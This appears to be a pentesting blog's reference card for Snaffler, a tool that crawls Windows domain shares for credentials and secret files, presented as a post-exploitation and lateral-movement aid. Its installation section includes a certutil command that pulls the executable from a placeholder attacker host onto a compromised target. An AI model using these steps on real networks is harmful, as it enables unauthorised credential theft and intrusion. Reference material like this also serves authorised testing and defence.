Snaffler

Crawls domain shares hunting for secrets and sensitive files.

It automatically walks every share the current account can reach across the domain and hunts for what usually holds credentials: config files, scripts, KeePass `.kdbx`, private keys, `web.config`, `unattend.xml`, `Groups.xml` with cpassword. It rates each finding by criticality and shows the exact snippet that triggered it. In a large domain, where reviewing shares by hand is impossible, it is the tool that turns "read access to a share" into "credentials for the next hop".

Family SMB, NetBIOS & RPC

Flags -s -o -d -c

Concepts Credential Hunting, Credentials in source code, GPP cpassword (MS14-025)

Cheatsheet Post-exploitation & lateral

Installation

# Prebuilt Windows binary (not installed on Kali): download the .exe from the
# repo's latest release and upload it to the target, e.g. serving it from Kali:
python3 -m http.server 80                              # on Kali, in the binary's folder
certutil -urlcache -f http://<lhost>/Snaffler.exe Snaffler.exe      # on the target (or SMB / evil-winrm 'upload')
# run it from a domain host to hunt for secrets in SMB shares

Repositorygithub.com/SnaffCon/Snaffler

Useful commands2 commands

Reference tool: it does not yet appear in a published machine on the blog, but it is part of the arsenal for its everyday use.